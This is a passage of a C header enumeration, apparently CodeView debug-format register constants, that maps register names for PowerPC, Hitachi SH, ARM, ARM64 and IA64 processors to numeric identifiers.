CV_PPC_HID6 = 1114, // Not Defined CV_PPC_HID7 = 1115, // Not Defined CV_PPC_HID8 = 1116, // MPC620 ( BUSCSR ) CV_PPC_HID9 = 1117, // MPC620 ( L2CSR ) CV_PPC_HID10 = 1118, // Not Defined CV_PPC_HID11 = 1119, // Not Defined CV_PPC_HID12 = 1120, // Not Defined CV_PPC_HID13 = 1121, // MPC604 ( HCR ) CV_PPC_HID14 = 1122, // Not Defined CV_PPC_HID15 = 1123, // MPC601, MPC604, MPC620 ( PIR ) // // JAVA VM registers // CV_JAVA_PC = 1, // // Register set for the Hitachi SH3 // CV_SH3_NOREG = CV_REG_NONE, CV_SH3_IntR0 = 10, // CPU REGISTER CV_SH3_IntR1 = 11, CV_SH3_IntR2 = 12, CV_SH3_IntR3 = 13, CV_SH3_IntR4 = 14, CV_SH3_IntR5 = 15, CV_SH3_IntR6 = 16, CV_SH3_IntR7 = 17, CV_SH3_IntR8 = 18, CV_SH3_IntR9 = 19, CV_SH3_IntR10 = 20, CV_SH3_IntR11 = 21, CV_SH3_IntR12 = 22, CV_SH3_IntR13 = 23, CV_SH3_IntFp = 24, CV_SH3_IntSp = 25, CV_SH3_Gbr = 38, CV_SH3_Pr = 39, CV_SH3_Mach = 40, CV_SH3_Macl = 41, CV_SH3_Pc = 50, CV_SH3_Sr = 51, CV_SH3_BarA = 60, CV_SH3_BasrA = 61, CV_SH3_BamrA = 62, CV_SH3_BbrA = 63, CV_SH3_BarB = 64, CV_SH3_BasrB = 65, CV_SH3_BamrB = 66, CV_SH3_BbrB = 67, CV_SH3_BdrB = 68, CV_SH3_BdmrB = 69, CV_SH3_Brcr = 70, // // Additional registers for Hitachi SH processors // CV_SH_Fpscr = 75, // floating point status/control register CV_SH_Fpul = 76, // floating point communication register CV_SH_FpR0 = 80, // Floating point registers CV_SH_FpR1 = 81, CV_SH_FpR2 = 82, CV_SH_FpR3 = 83, CV_SH_FpR4 = 84, CV_SH_FpR5 = 85, CV_SH_FpR6 = 86, CV_SH_FpR7 = 87, CV_SH_FpR8 = 88, CV_SH_FpR9 = 89, CV_SH_FpR10 = 90, CV_SH_FpR11 = 91, CV_SH_FpR12 = 92, CV_SH_FpR13 = 93, CV_SH_FpR14 = 94, CV_SH_FpR15 = 95, CV_SH_XFpR0 = 96, CV_SH_XFpR1 = 97, CV_SH_XFpR2 = 98, CV_SH_XFpR3 = 99, CV_SH_XFpR4 = 100, CV_SH_XFpR5 = 101, CV_SH_XFpR6 = 102, CV_SH_XFpR7 = 103, CV_SH_XFpR8 = 104, CV_SH_XFpR9 = 105, CV_SH_XFpR10 = 106, CV_SH_XFpR11 = 107, CV_SH_XFpR12 = 108, CV_SH_XFpR13 = 109, CV_SH_XFpR14 = 110, CV_SH_XFpR15 = 111, // // Register set for the ARM processor. // CV_ARM_NOREG = CV_REG_NONE, CV_ARM_R0 = 10, CV_ARM_R1 = 11, CV_ARM_R2 = 12, CV_ARM_R3 = 13, CV_ARM_R4 = 14, CV_ARM_R5 = 15, CV_ARM_R6 = 16, CV_ARM_R7 = 17, CV_ARM_R8 = 18, CV_ARM_R9 = 19, CV_ARM_R10 = 20, CV_ARM_R11 = 21, // Frame pointer, if allocated CV_ARM_R12 = 22, CV_ARM_SP = 23, // Stack pointer CV_ARM_LR = 24, // Link Register CV_ARM_PC = 25, // Program counter CV_ARM_CPSR = 26, // Current program status register CV_ARM_ACC0 = 27, // DSP co-processor 0 40 bit accumulator // // Registers for ARM VFP10 support // CV_ARM_FPSCR = 40, CV_ARM_FPEXC = 41, CV_ARM_FS0 = 50, CV_ARM_FS1 = 51, CV_ARM_FS2 = 52, CV_ARM_FS3 = 53, CV_ARM_FS4 = 54, CV_ARM_FS5 = 55, CV_ARM_FS6 = 56, CV_ARM_FS7 = 57, CV_ARM_FS8 = 58, CV_ARM_FS9 = 59, CV_ARM_FS10 = 60, CV_ARM_FS11 = 61, CV_ARM_FS12 = 62, CV_ARM_FS13 = 63, CV_ARM_FS14 = 64, CV_ARM_FS15 = 65, CV_ARM_FS16 = 66, CV_ARM_FS17 = 67, CV_ARM_FS18 = 68, CV_ARM_FS19 = 69, CV_ARM_FS20 = 70, CV_ARM_FS21 = 71, CV_ARM_FS22 = 72, CV_ARM_FS23 = 73, CV_ARM_FS24 = 74, CV_ARM_FS25 = 75, CV_ARM_FS26 = 76, CV_ARM_FS27 = 77, CV_ARM_FS28 = 78, CV_ARM_FS29 = 79, CV_ARM_FS30 = 80, CV_ARM_FS31 = 81, // // ARM VFP Floating Point Extra control registers // CV_ARM_FPEXTRA0 = 90, CV_ARM_FPEXTRA1 = 91, CV_ARM_FPEXTRA2 = 92, CV_ARM_FPEXTRA3 = 93, CV_ARM_FPEXTRA4 = 94, CV_ARM_FPEXTRA5 = 95, CV_ARM_FPEXTRA6 = 96, CV_ARM_FPEXTRA7 = 97, // XSCALE Concan co-processor registers CV_ARM_WR0 = 128, CV_ARM_WR1 = 129, CV_ARM_WR2 = 130, CV_ARM_WR3 = 131, CV_ARM_WR4 = 132, CV_ARM_WR5 = 133, CV_ARM_WR6 = 134, CV_ARM_WR7 = 135, CV_ARM_WR8 = 136, CV_ARM_WR9 = 137, CV_ARM_WR10 = 138, CV_ARM_WR11 = 139, CV_ARM_WR12 = 140, CV_ARM_WR13 = 141, CV_ARM_WR14 = 142, CV_ARM_WR15 = 143, // XSCALE Concan co-processor control registers CV_ARM_WCID = 144, CV_ARM_WCON = 145, CV_ARM_WCSSF = 146, CV_ARM_WCASF = 147, CV_ARM_WC4 = 148, CV_ARM_WC5 = 149, CV_ARM_WC6 = 150, CV_ARM_WC7 = 151, CV_ARM_WCGR0 = 152, CV_ARM_WCGR1 = 153, CV_ARM_WCGR2 = 154, CV_ARM_WCGR3 = 155, CV_ARM_WC12 = 156, CV_ARM_WC13 = 157, CV_ARM_WC14 = 158, CV_ARM_WC15 = 159, // // ARM VFPv3/Neon extended floating Point // CV_ARM_FS32 = 200, CV_ARM_FS33 = 201, CV_ARM_FS34 = 202, CV_ARM_FS35 = 203, CV_ARM_FS36 = 204, CV_ARM_FS37 = 205, CV_ARM_FS38 = 206, CV_ARM_FS39 = 207, CV_ARM_FS40 = 208, CV_ARM_FS41 = 209, CV_ARM_FS42 = 210, CV_ARM_FS43 = 211, CV_ARM_FS44 = 212, CV_ARM_FS45 = 213, CV_ARM_FS46 = 214, CV_ARM_FS47 = 215, CV_ARM_FS48 = 216, CV_ARM_FS49 = 217, CV_ARM_FS50 = 218, CV_ARM_FS51 = 219, CV_ARM_FS52 = 220, CV_ARM_FS53 = 221, CV_ARM_FS54 = 222, CV_ARM_FS55 = 223, CV_ARM_FS56 = 224, CV_ARM_FS57 = 225, CV_ARM_FS58 = 226, CV_ARM_FS59 = 227, CV_ARM_FS60 = 228, CV_ARM_FS61 = 229, CV_ARM_FS62 = 230, CV_ARM_FS63 = 231, // ARM double-precision floating point CV_ARM_ND0 = 300, CV_ARM_ND1 = 301, CV_ARM_ND2 = 302, CV_ARM_ND3 = 303, CV_ARM_ND4 = 304, CV_ARM_ND5 = 305, CV_ARM_ND6 = 306, CV_ARM_ND7 = 307, CV_ARM_ND8 = 308, CV_ARM_ND9 = 309, CV_ARM_ND10 = 310, CV_ARM_ND11 = 311, CV_ARM_ND12 = 312, CV_ARM_ND13 = 313, CV_ARM_ND14 = 314, CV_ARM_ND15 = 315, CV_ARM_ND16 = 316, CV_ARM_ND17 = 317, CV_ARM_ND18 = 318, CV_ARM_ND19 = 319, CV_ARM_ND20 = 320, CV_ARM_ND21 = 321, CV_ARM_ND22 = 322, CV_ARM_ND23 = 323, CV_ARM_ND24 = 324, CV_ARM_ND25 = 325, CV_ARM_ND26 = 326, CV_ARM_ND27 = 327, CV_ARM_ND28 = 328, CV_ARM_ND29 = 329, CV_ARM_ND30 = 330, CV_ARM_ND31 = 331, // ARM extended precision floating point CV_ARM_NQ0 = 400, CV_ARM_NQ1 = 401, CV_ARM_NQ2 = 402, CV_ARM_NQ3 = 403, CV_ARM_NQ4 = 404, CV_ARM_NQ5 = 405, CV_ARM_NQ6 = 406, CV_ARM_NQ7 = 407, CV_ARM_NQ8 = 408, CV_ARM_NQ9 = 409, CV_ARM_NQ10 = 410, CV_ARM_NQ11 = 411, CV_ARM_NQ12 = 412, CV_ARM_NQ13 = 413, CV_ARM_NQ14 = 414, CV_ARM_NQ15 = 415, // // Register set for ARM64 // CV_ARM64_NOREG = CV_REG_NONE, // General purpose 32-bit integer registers CV_ARM64_W0 = 10, CV_ARM64_W1 = 11, CV_ARM64_W2 = 12, CV_ARM64_W3 = 13, CV_ARM64_W4 = 14, CV_ARM64_W5 = 15, CV_ARM64_W6 = 16, CV_ARM64_W7 = 17, CV_ARM64_W8 = 18, CV_ARM64_W9 = 19, CV_ARM64_W10 = 20, CV_ARM64_W11 = 21, CV_ARM64_W12 = 22, CV_ARM64_W13 = 23, CV_ARM64_W14 = 24, CV_ARM64_W15 = 25, CV_ARM64_W16 = 26, CV_ARM64_W17 = 27, CV_ARM64_W18 = 28, CV_ARM64_W19 = 29, CV_ARM64_W20 = 30, CV_ARM64_W21 = 31, CV_ARM64_W22 = 32, CV_ARM64_W23 = 33, CV_ARM64_W24 = 34, CV_ARM64_W25 = 35, CV_ARM64_W26 = 36, CV_ARM64_W27 = 37, CV_ARM64_W28 = 38, CV_ARM64_W29 = 39, CV_ARM64_W30 = 40, CV_ARM64_WZR = 41, // General purpose 64-bit integer registers CV_ARM64_X0 = 50, CV_ARM64_X1 = 51, CV_ARM64_X2 = 52, CV_ARM64_X3 = 53, CV_ARM64_X4 = 54, CV_ARM64_X5 = 55, CV_ARM64_X6 = 56, CV_ARM64_X7 = 57, CV_ARM64_X8 = 58, CV_ARM64_X9 = 59, CV_ARM64_X10 = 60, CV_ARM64_X11 = 61, CV_ARM64_X12 = 62, CV_ARM64_X13 = 63, CV_ARM64_X14 = 64, CV_ARM64_X15 = 65, CV_ARM64_IP0 = 66, CV_ARM64_IP1 = 67, CV_ARM64_X18 = 68, CV_ARM64_X19 = 69, CV_ARM64_X20 = 70, CV_ARM64_X21 = 71, CV_ARM64_X22 = 72, CV_ARM64_X23 = 73, CV_ARM64_X24 = 74, CV_ARM64_X25 = 75, CV_ARM64_X26 = 76, CV_ARM64_X27 = 77, CV_ARM64_X28 = 78, CV_ARM64_FP = 79, CV_ARM64_LR = 80, CV_ARM64_SP = 81, CV_ARM64_ZR = 82, CV_ARM64_PC = 83, // status registers CV_ARM64_NZCV = 90, CV_ARM64_CPSR = 91, // 32-bit floating point registers CV_ARM64_S0 = 100, CV_ARM64_S1 = 101, CV_ARM64_S2 = 102, CV_ARM64_S3 = 103, CV_ARM64_S4 = 104, CV_ARM64_S5 = 105, CV_ARM64_S6 = 106, CV_ARM64_S7 = 107, CV_ARM64_S8 = 108, CV_ARM64_S9 = 109, CV_ARM64_S10 = 110, CV_ARM64_S11 = 111, CV_ARM64_S12 = 112, CV_ARM64_S13 = 113, CV_ARM64_S14 = 114, CV_ARM64_S15 = 115, CV_ARM64_S16 = 116, CV_ARM64_S17 = 117, CV_ARM64_S18 = 118, CV_ARM64_S19 = 119, CV_ARM64_S20 = 120, CV_ARM64_S21 = 121, CV_ARM64_S22 = 122, CV_ARM64_S23 = 123, CV_ARM64_S24 = 124, CV_ARM64_S25 = 125, CV_ARM64_S26 = 126, CV_ARM64_S27 = 127, CV_ARM64_S28 = 128, CV_ARM64_S29 = 129, CV_ARM64_S30 = 130, CV_ARM64_S31 = 131, // 64-bit floating point registers CV_ARM64_D0 = 140, CV_ARM64_D1 = 141, CV_ARM64_D2 = 142, CV_ARM64_D3 = 143, CV_ARM64_D4 = 144, CV_ARM64_D5 = 145, CV_ARM64_D6 = 146, CV_ARM64_D7 = 147, CV_ARM64_D8 = 148, CV_ARM64_D9 = 149, CV_ARM64_D10 = 150, CV_ARM64_D11 = 151, CV_ARM64_D12 = 152, CV_ARM64_D13 = 153, CV_ARM64_D14 = 154, CV_ARM64_D15 = 155, CV_ARM64_D16 = 156, CV_ARM64_D17 = 157, CV_ARM64_D18 = 158, CV_ARM64_D19 = 159, CV_ARM64_D20 = 160, CV_ARM64_D21 = 161, CV_ARM64_D22 = 162, CV_ARM64_D23 = 163, CV_ARM64_D24 = 164, CV_ARM64_D25 = 165, CV_ARM64_D26 = 166, CV_ARM64_D27 = 167, CV_ARM64_D28 = 168, CV_ARM64_D29 = 169, CV_ARM64_D30 = 170, CV_ARM64_D31 = 171, // 128-bit SIMD registers CV_ARM64_Q0 = 180, CV_ARM64_Q1 = 181, CV_ARM64_Q2 = 182, CV_ARM64_Q3 = 183, CV_ARM64_Q4 = 184, CV_ARM64_Q5 = 185, CV_ARM64_Q6 = 186, CV_ARM64_Q7 = 187, CV_ARM64_Q8 = 188, CV_ARM64_Q9 = 189, CV_ARM64_Q10 = 190, CV_ARM64_Q11 = 191, CV_ARM64_Q12 = 192, CV_ARM64_Q13 = 193, CV_ARM64_Q14 = 194, CV_ARM64_Q15 = 195, CV_ARM64_Q16 = 196, CV_ARM64_Q17 = 197, CV_ARM64_Q18 = 198, CV_ARM64_Q19 = 199, CV_ARM64_Q20 = 200, CV_ARM64_Q21 = 201, CV_ARM64_Q22 = 202, CV_ARM64_Q23 = 203, CV_ARM64_Q24 = 204, CV_ARM64_Q25 = 205, CV_ARM64_Q26 = 206, CV_ARM64_Q27 = 207, CV_ARM64_Q28 = 208, CV_ARM64_Q29 = 209, CV_ARM64_Q30 = 210, CV_ARM64_Q31 = 211, // Floating point status register CV_ARM64_FPSR = 220, CV_ARM64_FPCR = 221, // 8-bit floating point registers CV_ARM64_B0 = 230, CV_ARM64_B1 = 231, CV_ARM64_B2 = 232, CV_ARM64_B3 = 233, CV_ARM64_B4 = 234, CV_ARM64_B5 = 235, CV_ARM64_B6 = 236, CV_ARM64_B7 = 237, CV_ARM64_B8 = 238, CV_ARM64_B9 = 239, CV_ARM64_B10 = 240, CV_ARM64_B11 = 241, CV_ARM64_B12 = 242, CV_ARM64_B13 = 243, CV_ARM64_B14 = 244, CV_ARM64_B15 = 245, CV_ARM64_B16 = 246, CV_ARM64_B17 = 247, CV_ARM64_B18 = 248, CV_ARM64_B19 = 249, CV_ARM64_B20 = 250, CV_ARM64_B21 = 251, CV_ARM64_B22 = 252, CV_ARM64_B23 = 253, CV_ARM64_B24 = 254, CV_ARM64_B25 = 255, CV_ARM64_B26 = 256, CV_ARM64_B27 = 257, CV_ARM64_B28 = 258, CV_ARM64_B29 = 259, CV_ARM64_B30 = 260, CV_ARM64_B31 = 261, // 16-bit floating point registers CV_ARM64_H0 = 270, CV_ARM64_H1 = 271, CV_ARM64_H2 = 272, CV_ARM64_H3 = 273, CV_ARM64_H4 = 274, CV_ARM64_H5 = 275, CV_ARM64_H6 = 276, CV_ARM64_H7 = 277, CV_ARM64_H8 = 278, CV_ARM64_H9 = 279, CV_ARM64_H10 = 280, CV_ARM64_H11 = 281, CV_ARM64_H12 = 282, CV_ARM64_H13 = 283, CV_ARM64_H14 = 284, CV_ARM64_H15 = 285, CV_ARM64_H16 = 286, CV_ARM64_H17 = 287, CV_ARM64_H18 = 288, CV_ARM64_H19 = 289, CV_ARM64_H20 = 290, CV_ARM64_H21 = 291, CV_ARM64_H22 = 292, CV_ARM64_H23 = 293, CV_ARM64_H24 = 294, CV_ARM64_H25 = 295, CV_ARM64_H26 = 296, CV_ARM64_H27 = 297, CV_ARM64_H28 = 298, CV_ARM64_H29 = 299, CV_ARM64_H30 = 300, CV_ARM64_H31 = 301, // 128-bit vector registers CV_ARM64_V0 = 310, CV_ARM64_V1 = 311, CV_ARM64_V2 = 312, CV_ARM64_V3 = 313, CV_ARM64_V4 = 314, CV_ARM64_V5 = 315, CV_ARM64_V6 = 316, CV_ARM64_V7 = 317, CV_ARM64_V8 = 318, CV_ARM64_V9 = 319, CV_ARM64_V10 = 320, CV_ARM64_V11 = 321, CV_ARM64_V12 = 322, CV_ARM64_V13 = 323, CV_ARM64_V14 = 324, CV_ARM64_V15 = 325, CV_ARM64_V16 = 326, CV_ARM64_V17 = 327, CV_ARM64_V18 = 328, CV_ARM64_V19 = 329, CV_ARM64_V20 = 330, CV_ARM64_V21 = 331, CV_ARM64_V22 = 332, CV_ARM64_V23 = 333, CV_ARM64_V24 = 334, CV_ARM64_V25 = 335, CV_ARM64_V26 = 336, CV_ARM64_V27 = 337, CV_ARM64_V28 = 338, CV_ARM64_V29 = 339, CV_ARM64_V30 = 340, CV_ARM64_V31 = 341, // 128-bit SIMD registers upper 64 bits CV_ARM64_Q0H = 350, CV_ARM64_Q1H = 351, CV_ARM64_Q2H = 352, CV_ARM64_Q3H = 353, CV_ARM64_Q4H = 354, CV_ARM64_Q5H = 355, CV_ARM64_Q6H = 356, CV_ARM64_Q7H = 357, CV_ARM64_Q8H = 358, CV_ARM64_Q9H = 359, CV_ARM64_Q10H = 360, CV_ARM64_Q11H = 361, CV_ARM64_Q12H = 362, CV_ARM64_Q13H = 363, CV_ARM64_Q14H = 364, CV_ARM64_Q15H = 365, CV_ARM64_Q16H = 366, CV_ARM64_Q17H = 367, CV_ARM64_Q18H = 368, CV_ARM64_Q19H = 369, CV_ARM64_Q20H = 370, CV_ARM64_Q21H = 371, CV_ARM64_Q22H = 372, CV_ARM64_Q23H = 373, CV_ARM64_Q24H = 374, CV_ARM64_Q25H = 375, CV_ARM64_Q26H = 376, CV_ARM64_Q27H = 377, CV_ARM64_Q28H = 378, CV_ARM64_Q29H = 379, CV_ARM64_Q30H = 380, CV_ARM64_Q31H = 381, // // Register set for Intel IA64 // CV_IA64_NOREG = CV_REG_NONE, // Branch Registers CV_IA64_Br0 = 512, CV_IA64_Br1 = 513, CV_IA64_Br2 = 514, CV_IA64_Br3 = 515, CV_IA64_Br4 = 516, CV_IA64_Br5 = 517, CV_IA64_Br6 = 518, CV_IA64_Br7 = 519, // Predicate Registers CV_IA64_P0 = 704, CV_IA64_P1 = 705, CV_IA64_P2 = 706, CV_IA64_P3 = 707, CV_IA64_P4 = 708, CV_IA64_P5 = 709, CV_IA64_P6 = 710, CV_IA64_P7 = 711, CV_IA64_P8 = 712, CV_IA64_P9 = 713, CV_IA64_P10 = 714, CV_IA64_P11 = 715, CV_IA64_P12 = 716, CV_IA64_P13 = 717, CV_IA64_P14 = 718, CV_IA64_P15 = 719, CV_IA64_P16 = 720, CV_IA64_P17 = 721, CV_IA64_P18 = 722, CV_IA64_P19 = 723, CV_IA64_P20 = 724, CV_IA64_P21 = 725, CV_IA64_P22 = 726, CV_IA64_P23 = 727, CV_IA64_P24 = 728, CV_IA64_P25 = 729, CV_IA64_P26 = 730, CV_IA64_P27 = 731, CV_IA64_P28 = 732, CV_IA64_P29 = 733, CV_IA64_P30 = 734, CV_IA64_P31 = 735, CV_IA64_P32 = 736, CV_IA64_P33 = 737, CV_IA64_P34 = 738, CV_IA64_P35 = 739, CV_IA64_P36 = 740, CV_IA64_P37 = 741, CV_IA64_P38 = 742, CV_IA64_P39 = 743, CV_IA64_P40 = 744, CV_IA64_P41 = 745, CV_IA64_P42 = 746, CV_IA64_P43 = 747, CV_IA64_P44 = 748, CV_IA64_P45 = 749, CV_IA64_P46 = 750, CV_IA64_P47 = 751, CV_IA64_P48 = 752, CV_IA64_P49 = 753, CV_IA64_P50 = 754, CV_IA64_P51 = 755, CV_IA64_P52 = 756, CV_IA64_P53 = 757, CV_IA64_P54 = 758, CV_IA64_P55 = 759, CV_IA64_P56 = 760, CV_IA64_P57 = 761, CV_IA64_P58 = 762, CV_IA64_P59 = 763, CV_IA64_P60 = 764, CV_IA64_P61 = 765, CV_IA64_P62 = 766, CV_IA64_P63 = 767, CV_IA64_Preds = 768, // Banked General Registers CV_IA64_IntH0 = 832, CV_IA64_IntH1 = 833, CV_IA64_IntH2 = 834, CV_IA64_IntH3 = 835, CV_IA64_IntH4 = 836, CV_IA64_IntH5 = 837, CV_IA64_IntH6 = 838, CV_IA64_IntH7 = 839, CV_IA64_IntH8 = 840, CV_IA64_IntH9 = 841, CV_IA64_IntH10 = 842, CV_IA64_IntH11 = 843, CV_IA64_IntH12 = 844, CV_IA64_IntH13 = 845, CV_IA64_IntH14 = 846, CV_IA64_IntH15 = 847, // Special Registers CV_IA64_Ip = 1016, CV_IA64_Umask = 1017, CV_IA64_Cfm = 1018, CV_IA64_Psr = 1019, // Banked General Registers CV_IA64_Nats = 1020, CV_IA64_Nats2 = 1021, CV_IA64_Nats3 = 1022, // General-Purpose Registers // Integer registers CV_IA64_IntR0 = 1024, CV_IA64_IntR1 = 1025, CV_IA64_IntR2 = 1026, CV_IA64_IntR3 = 1027, CV_IA64_IntR4 = 1028, CV_IA64_IntR5 = 1029, CV_IA64_IntR6 = 1030, CV_IA64_IntR7 = 1031, CV_IA64_IntR8 = 1032, CV_IA64_IntR9 = 1033, CV_IA64_IntR10 = 1034, CV_IA64_IntR11 = 1035, CV_IA64_IntR12 = 1036, CV_IA64_IntR13 = 1037, CV_IA64_IntR14 = 1038, CV_IA64_IntR15 = 1039, CV_IA64_IntR16 = 1040, CV_IA64_IntR17 = 1041, CV_IA64_IntR18 = 1042, CV_IA64_IntR19 = 1043, CV_IA64_IntR20 = 1044, CV_IA64_IntR21 = 1045, CV_IA64_IntR22 = 1046, CV_IA64_IntR23 = 1047, CV_IA64_IntR24 = 1048, CV_IA64_IntR25 = 1049, CV_IA64_IntR26 = 1050, CV_IA64_IntR27 = 1051, CV_IA64_IntR28 = 1052, CV_IA64_IntR29 = 1053, CV_IA64_IntR30 = 1054, CV_IA64_IntR31 = 1055, // Register Stack CV_IA64_IntR32 = 1056, CV_IA64_IntR33 = 1057, CV_IA64_IntR34 = 1058, CV_IA64_IntR35 = 1059, CV_IA64_IntR36 = 1060, CV_IA64_IntR37 = 1061, CV_IA64_IntR38 = 1062, CV_IA64_IntR39 = 1063, CV_IA64_IntR40 = 1064, CV_IA64_IntR41 = 1065, CV_IA64_IntR42 = 1066, CV_IA64_IntR43 = 1067, CV_IA64_IntR44 = 1068, CV_IA64_IntR45 = 1069, CV_IA64_IntR46 = 1070, CV_IA64_IntR47 = 1071, CV_IA64_IntR48 = 1072, CV_IA64_IntR49 = 1073, CV_IA64_IntR50 = 1074, CV_IA64_IntR51 = 1075, CV_IA64_IntR52 = 1076, CV_IA64_IntR53 = 1077, CV_IA64_IntR54 = 1078, CV_IA64_IntR55 = 1079, CV_IA64_IntR56 = 1080, CV_IA64_IntR57 = 1081, CV_IA64_IntR58 = 1082, CV_IA64_IntR59 = 1083, CV_IA64_IntR60 = 1084, CV_IA64_IntR61 = 1085, CV_IA64_IntR62 = 1086, CV_IA64_IntR63 = 1087, CV_IA64_IntR64 = 1088, CV_IA64_IntR65 = 1089, CV_IA64_IntR66 = 1090, CV_IA64_IntR67 = 1091, CV_IA64_IntR68 = 1092, CV_IA64_IntR69 = 1093, CV_IA64_IntR70 = 1094, CV_IA64_IntR71 = 1095, CV_IA64_IntR72 = 1096, CV_IA64_IntR73 = 1097, CV_IA64_IntR74 = 1098, CV_IA64_IntR75 = 1099, CV_IA64_IntR76 = 1100, CV_IA64_IntR77 = 1101, CV_IA64_IntR78 = 1102, CV_IA64_IntR79 = 1103, CV_IA64_IntR80 = 1104, CV_IA64_IntR81 = 1105, CV_IA64_IntR82 = 1106, CV_IA64_IntR83 = 1107, CV_IA64_IntR84 = 1108, CV_IA64_IntR85 = 1109, CV_IA64_IntR86 = 1110, CV_IA64_IntR87 = 1111, CV_IA64_IntR88 = 1112, CV_IA64_IntR89 = 1113, CV_IA64_IntR90 = 1114, CV_IA64_IntR91 = 1115, CV_IA64_IntR92 = 1116, CV_IA64_IntR93 = 1117, CV_IA64_IntR94 = 1118, CV_IA64_IntR95 = 1119, CV_IA64_IntR96 = 1120, CV_IA64_IntR97 = 1121, CV_IA64_IntR98 = 1122, CV_IA64_IntR99 = 1123, CV_IA64_IntR100 = 1124, CV_IA64_IntR101 = 1125, CV_IA64_IntR102 = 1126, CV_IA64_IntR103 = 1127, CV_IA64_IntR104 = 1128, CV_IA64_IntR105 = 1129, CV_IA64_IntR106 = 1130, CV_IA64_IntR107 = 1131, CV_IA64_IntR108 = 1132, CV_IA64_IntR109 = 1133, CV_IA64_IntR110 = 1134, CV_IA64_IntR111 = 1135, CV_IA64_IntR112 = 1136, CV_IA64_IntR113 = 1137, CV_IA64_IntR114 = 1138, CV_IA64_IntR115 = 1139, CV_IA64_IntR116 = 1140, CV_IA64_IntR117 = 1141, CV_IA64_IntR118 = 1142, CV_IA64_IntR119 = 1143, CV_IA64_IntR120 = 1144, CV_IA64_IntR121 = 1145, CV_IA64_IntR122 = 1146, CV_IA64_IntR123 = 1147, CV_IA64_IntR124 = 1148, CV_IA64_IntR125 = 1149, CV_IA64_IntR126 = 1150, CV_IA64_IntR127 = 1151, // Floating-Point Registers // Low Floating Point Registers CV_IA64_FltF0 = 2048, CV_IA64_FltF1 = 2049, CV_IA64_FltF2 = 2050, CV_IA64_FltF3 = 2051, CV_IA64_FltF4 = 2052, CV_IA64_FltF5 = 2053, CV_IA64_FltF6 = 2054, CV_IA64_FltF7 = 2055, CV_IA64_FltF8 = 2056, CV_IA64_FltF9 = 2057, CV_IA64_FltF10 = 2058, CV_IA64_FltF11 = 2059, CV_IA64_FltF12 = 2060, CV_IA64_FltF13 = 2061, CV_IA64_FltF14 = 2062, CV_IA64_FltF15 = 2063, CV_IA64_FltF16 = 2064, CV_IA64_FltF17 = 2065, CV_IA64_FltF18 = 2066, CV_IA64_FltF19 = 2067, CV_IA64_FltF20 = 2068, CV_IA64_FltF21 = 2069, CV_IA64_FltF22 = 2070, CV_IA64_FltF23 = 2071, CV_IA64_FltF24 = 2072, CV_IA64_FltF25 = 2073, CV_IA64_FltF26 = 2074, CV_IA64_FltF27 = 2075, CV_IA64_FltF28 = 2076, CV_IA64_FltF29 = 2077, CV_IA64_FltF30 = 2078, CV_IA64_FltF31 = 2079, // High Floating Point Registers CV_IA64_FltF32 = 2080, CV_IA64_FltF33 = 2081, CV_IA64_FltF34 = 2082, CV_IA64_FltF35 = 2083, CV_IA64_FltF36 = 2084, CV_IA64_FltF37 = 2085, CV_IA64_FltF38 = 2086, CV_IA64_FltF39 = 2087, CV_IA64_FltF40 = 2088, CV_IA64_FltF41 = 2089, CV_IA64_FltF42 = 2090, CV_IA64_FltF43 = 2091, CV_IA64_FltF44 = 2092, CV_IA64_FltF45 = 2093, CV_IA64_FltF46 = 2094, CV_IA64_FltF47 = 2095, CV_IA64_FltF48 = 2096, CV_IA64_FltF49 = 2097, CV_IA64_FltF50 = 2098, CV_IA64_FltF51 = 2099, CV_IA64_FltF52 = 2100, CV_IA64_FltF53 = 2101, CV_IA64_FltF54 = 2102, CV_IA64_FltF55 = 2103, CV_IA64_FltF56 = 2104, CV_IA64_FltF57 = 2105, CV_IA64_FltF58 = 2106, CV_IA64_FltF59 = 2107, CV_IA64_FltF60 = 2108, CV_IA64_FltF61 = 2109, CV_IA64_FltF62 = 2110, CV_IA64_FltF63 = 2111, CV_IA64_FltF64 = 2112, CV_IA64_FltF65 = 2113, CV_IA64_FltF66 = 2114, CV_IA64_FltF67 = 2115, CV_IA64_FltF68 = 2116, CV_IA64_FltF69 = 2117, CV_IA64_FltF70 = 2118, CV_IA64_FltF71 = 2119, CV_IA64_FltF72 = 2120, CV_IA64_FltF73 = 2121, CV_IA64_FltF74 = 2122, CV_IA64_FltF75 = 2123, CV_IA64_FltF76 = 2124, CV_IA64_FltF77 = 2125, CV_IA64_FltF78 = 2126, CV_IA64_FltF79 = 2127, CV_IA64_FltF80 = 2128, CV_IA64_FltF81 = 2129, CV_IA64_FltF82 = 2130, CV_IA64_FltF83 = 2131, CV_IA64_FltF84 = 2132, CV_IA64_FltF85 = 2133, CV_IA64_FltF86 = 2134, CV_IA64_FltF87 = 2135, CV_IA64_FltF88 = 2136, CV_IA64_FltF89 = 2137, CV_IA64_FltF90 = 2138, CV_IA64_FltF91 = 2139, CV_IA64_FltF92 = 2140, CV_IA64_FltF93 = 2141, CV_IA64_FltF94 = 2142, CV_IA64_FltF95 = 2143, CV_IA64_FltF96 = 2144, CV_IA64_FltF97 = 2145, CV_IA64_FltF98 = 2146, CV_IA64_FltF99 = 2147, CV_IA64_FltF100 = 2148, CV_IA64_FltF101 = 2149, CV_IA64_FltF102 = 2150, CV_IA64_FltF103 = 2151, CV_IA64_FltF104 = 2152, CV_IA64_FltF105 = 2153, CV_IA64_FltF106 = 2154, CV_IA64_FltF107 = 2155, CV_IA64_FltF108 = 2156, CV_IA64_FltF109 = 2157, CV_IA64_FltF110 = 2158, CV_IA64_FltF111 = 2159, CV_IA64_FltF112 = 2160, CV_IA64_FltF113 = 2161, CV_IA64_FltF114 = 2162, CV_IA64_FltF115 = 2163, CV_IA64_FltF116 = 2164, CV_IA64_FltF117 = 2165, CV_IA64_FltF118 = 2166, CV_IA64_FltF119 = 2167, CV_IA64_FltF120 = 2168, CV_IA64_FltF121 = 2169, CV_IA64_FltF122 = 2170, CV_IA64_FltF123 = 2171, CV_IA64_FltF124 = 2172, CV_IA64_FltF125 = 2173, CV_IA64_FltF126 = 2174, CV_IA64_FltF127 = 2175, // Application Registers CV_IA64_ApKR0 = 3072, CV_IA64_ApKR1 = 3073, CV_IA64_ApKR2 = 3074, CV_IA64_ApKR3 = 3075, CV_IA64_ApKR4 = 3076, CV_IA64_ApKR5 = 3077, CV_IA64_ApKR6 = 3078, CV_IA64_ApKR7 = 3079, CV_IA64_AR8 = 3080, CV_IA64_AR9 = 3081, CV_IA64_AR10 = 3082, CV_IA64_AR11 = 3083, CV_IA64_AR12 = 3084, CV_IA64_AR13 = 3085, CV_IA64_AR14 = 